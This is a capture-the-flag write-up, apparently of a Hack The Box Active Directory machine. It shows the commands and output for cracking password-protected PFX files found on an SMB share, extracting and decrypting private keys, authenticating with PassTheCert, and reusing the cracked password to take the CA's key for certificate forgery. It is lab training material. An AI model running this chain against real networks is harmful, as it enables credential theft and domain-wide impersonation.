PKCS #12


┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ ll
total 32K
4.0k drwxr-xr-x 2 kali kali 4.0k jan 31 16:41 .
4.0k drwxr-xr-x 4 kali kali 4.0k jan 31 16:29 ..
8.0k -rwxr-xr-x 1 kali kali 4.3k jan 31 16:29 staff.pfx
4.0k -rwxr-xr-x 1 kali kali 2.6k jan 31 16:29 search-RESEARCH-CA.p12

While checking the SMB server as the sierra.frye user, the Backups directory within the home directory of the sierra.frye user was discovered. It contained 2 files in PKCS #12 format. Namely, staff.pfx and search-RESEARCH-CA.p12

pfx (personal information exchange) and p12 are commonly used file extensions for the pkcs #12 standard. pkcs #12 defines a binary format for storing private keys, public keys, and certificates in a single encrypted file. it facilitates the secure exchange and storage of cryptographic information, often used in digital certificate management, and is detailed in rfc 7292. the only distinction is that pfx is the microsoft’s implementation for the pkcs #12 standard while p12 was the netscape one

as explained above, a lot can be done with pfx files since these files contains server certificates, intermediate certificates, and the private keys. it is also entirely possible to extract a public (certificate) and private key pair from a PFX file.

Extraction staff.pfx


In the earlier stage, one has been requested and generated for discovering and accessing the PSWA

The staff.pfx file, as the name suggests, appears to be directly relevant to the /staff endpoint, where an instance of PSWA endpoint was found to be hosted on. Since I already have established a PowerShell session with the credential of the sierra.frye user, it is likely that the staff.pfx file won’t be much of use. However, I will still go through the manual process of breaking it down

(Pre-req) Unprotecting staff.pfx


By the industry’s standard practice, PFX/P12 files are almost always password-protected as a mitigation to compromise and accidental exposure. It adds up a layer of security by requiring a password for PFX/P12 files to be usable.

It’s also called the “import password”

Since the tool, certipy, only works with PFX/P12 files with no password-protection, the cert command along with the -export flag can be used to “unprotect” or “export” the given PFX/P12 file

┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ certipy cert -pfx staff.pfx -password "" -export -out staff.unprotected.pfx
Certipy v4.7.0 - by Oliver Lyak (ly4k)
 
[-] got error: Invalid password or PKCS12 data
[-] Use -debug to print a stacktrace

Doing so results in failure, indicating that the staff.pfx file is indeed password-protected

Cracking staff.pfx


PFX/P12 files are generated and typically encrypted with a set of password to serve its purpose of securely storing sensitive data. Prior to the public/private keypair extraction described above, it is necessary to “unprotect” or “export” the PFX/P12 file itself.

┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ pfx2john staff.pfx > staff.pfx.hash

pfx2john can be used to turn the PFX file into a crack-able hash string

┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ john staff.pfx.hash --wordlist=/usr/share/wordlists/rockyou.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
misspissy        (staff.pfx)     
1g 0:00:01:36 DONE (2024-01-31 16:35) 0.01037g/s 56911p/s 56911c/s 56911C/s misssnippy2002..missnoodle21
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Password hash cracked for the PFX file The cracked password is misspissy The password may also be used for a password spraying attack

Unprotected staff.pfx


┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ certipy cert -pfx staff.pfx -password "misspissy" -export -out staff.unprotected.pfx
Certipy v4.7.0 - by Oliver Lyak (ly4k)
 
[*] Writing PFX to 'staff.unprotected.pfx'

Using the cracked “import password”, to “unprotect” or “export” the PFX file. The generated staff.unprotected.pfx file is no longer password-protected and the public/private keypair extraction can be proceeded.

┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ openssl pkcs12 -in staff.unprotected.pfx -info -noenc         
enter import password:
mac: sha256, Iteration 2048
mac length: 32, salt length: 8
PKCS7 Data
Certificate bag
Bag Attributes
    friendlyname: 
    localkeyid: 7C 60 15 5F BD A2 E4 69 72 42 06 D1 BF 28 2E 25 32 51 09 F5 
subject=DC = htb, DC = search, OU = Sites, OU = Birmingham, OU = Users, CN = Sierra Frye
issuer=DC = htb, DC = search, CN = search-RESEARCH-CA
-----BEGIN CERTIFICATE-----
 
[...REDACTED...]
 
-----END CERTIFICATE-----
PKCS7 Data
Key bag
Bag Attributes
    friendlyname: 
    localkeyid: 7C 60 15 5F BD A2 E4 69 72 42 06 D1 BF 28 2E 25 32 51 09 F5 
key attributes: <No Attributes>
-----BEGIN PRIVATE KEY-----
 
[...REDACTED...]
 
-----END PRIVATE KEY-----

Additionally, checking the subject field reveals that the staff.pfx file does indeed belong to the sierra.frye user

Private Key staff.pfx


┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ openssl pkcs12 -in staff.pfx -nocerts -out staff.private                      
Enter Import Password: misspissy
Enter PEM pass phrase: qwe123
Verifying - Enter PEM pass phrase: qwe123
 
┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ file staff.private ; ll staff.private
staff.private: ASCII text
4.0K -rw------- 1 kali kali 2.1K Jan 31 16:46 staff.private

Extracting the private key from the staff.pfx file As expected, openssl prompts for password; misspissy Additionally, it prompts for entering PEM pass phrase This is totally normal as a PEM key file must have a passphrase to be functional. I set it to qwe123

┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ openssl pkcs12 -in staff.unprotected.pfx -nocerts -out staff.private 
Enter Import Password: 
Enter PEM pass phrase: qwe123
Verifying - Enter PEM pass phrase: qwe123

Or the generated staff.unprotected.pfx file may be used for the same private key extraction While openssl still does ask for the “import password”, I can just ignore it by pressing “enter” since there’s none. PEM pass phrase, on the other hand, must still be configured; qwe123

Private Key staff.pfx Decryption


┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ openssl rsa -in staff.private  -out staff.private.decrypted           
enter pass phrase for staff.private: qwe123
writing RSA key
 
┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ file staff.private.decrypted ; ll staff.private.decrypted 
staff.private.decrypted: OpenSSH private key (no password)
4.0k -rw------- 1 kali kali 1.7k jan 31 16:47 staff.private.decrypted

Now that this is a private key, however, it is encrypted with the passphrase that I set above the during the process of extraction; qwe123 So it needs to be decrypted again.

Public Key (Certificate) staff.pfx


┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ openssl pkcs12 -in staff.pfx -clcerts -nokeys -out staff.public                    
Enter Import Password: misspissy

Extracting the public key (certificate) from the staff.pfx file I would need to provide the “import password” here as well; misspissy However, contrary to the private key extraction above, openssl does not prompts me for providing a passphrase as it is a public key extraction

Since public (certificate) key is not a PEM key, it does not require further decryption

┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ openssl pkcs12 -in staff.unprotected.pfx -clcerts -nokeys -out staff.public 
Enter Import Password:

Using the generated staff.unprotected.pfx file without the “import password”

Validation staff.pfx


┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ git clone https://github.com/AlmondOffSec/PassTheCert.git
Cloning into 'PassTheCert'...
remote: Enumerating objects: 133, done.
remote: Counting objects: 100% (11/11), done.
remote: Compressing objects: 100% (11/11), done.
remote: Total 133 (delta 0), reused 0 (delta 0), pack-reused 122
receiving objects: 100% (133/133), 48.71 KiB | 1.62 MiB/s, done.
resolving deltas: 100% (58/58), done.

PassTheCert is a simple C# tool that can authenticate to an LDAP server using a client certificate, and perform actions that are interesting for an attacker. Unlike most other offensive tools, it has the added bonus of working in environments where LDAP Channel Binding is enabled, because Schannel authentication is, by design, not subject to Channel Binding.

┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ python3 PassTheCert/Python/passthecert.py -action whoami -crt staff.public -key staff.private.decrypted -domain SEARCH.HTB -dc-ip $IP -port 636
Impacket v0.11.0 - Copyright 2023 Fortra
 
[*] you are logged in as: SEARCH\Sierra.Frye

The certificate belongs to the sierra.frye user

Extraction search-RESEARCH-CA.p12


Now, I will work with the other one, search-RESEARCH-CA.p12, which appears to belong to the CA based on the naming alone If the speculation is correct, the search-RESEARCH-CA.p12 file can be abused to forge a certificate to impersonate anybody in the domain.

(Pre-req) Unprotecting search-RESEARCH-CA.p12


┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ certipy cert -pfx search-RESEARCH-CA.p12 -password "misspissy" -export -out search-RESEARCH-CA.unprotected.p12
Certipy v4.7.0 - by Oliver Lyak (ly4k)
 
[*] Writing PFX to 'search-RESEARCH-CA.unprotected.p12'

While the search-RESEARCH-CA.p12 file is also password-protected, password reuse is present; misspissy The very same password to protect the staff.pfx file is also used for the other search-RESEARCH-CA.p12 file

┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ openssl pkcs12 -in search-RESEARCH-CA.unprotected.p12 -info
enter import password:
mac: sha256, Iteration 2048
mac length: 32, salt length: 8
PKCS7 Data
Certificate bag
Bag Attributes
    friendlyname: 
    localkeyid: 62 CD 1A 3D E2 C2 7F ED 0A 50 8A 27 9F 90 DC 2D 7C CD 9C D4 
subject=DC = htb, DC = search, CN = search-RESEARCH-CA
issuer=DC = htb, DC = search, CN = search-RESEARCH-CA

The search-RESEARCH-CA.p12 file belongs to the CA itself Golden Certificate forgery is achievable

Moving on to Privilege Escalation phase

Private Key search-RESEARCH-CA.p12


┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ openssl pkcs12 -in search-RESEARCH-CA.unprotected.p12 -nocerts -out search-RESEARCH-CA.private         
Enter Import Password:
Enter PEM pass phrase: qwe123
Verifying - Enter PEM pass phrase: qwe123

No “import password” provided PEM pass phrase set to qwe123

Private Key search-RESEARCH-CA.p12 Decryption


┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ openssl rsa -in search-RESEARCH-CA.private -out search-RESEARCH-CA.private.decrypted 
enter pass phrase for search-research-ca.private: qwe123
writing RSA key

The search-RESEARCH-CA.private.decrypted file is the decrypted private key in the PEM format

Public Key (Certificate) search-RESEARCH-CA.p12


┌──(kali㉿kali)-[~/…/RedirectedFolders$/sierra.frye/Downloads/Backups]
└─$ openssl pkcs12 -in search-RESEARCH-CA.unprotected.p12 -clcerts -nokeys -out search-RESEARCH-CA.public 
Enter Import Password:

No “import password” provided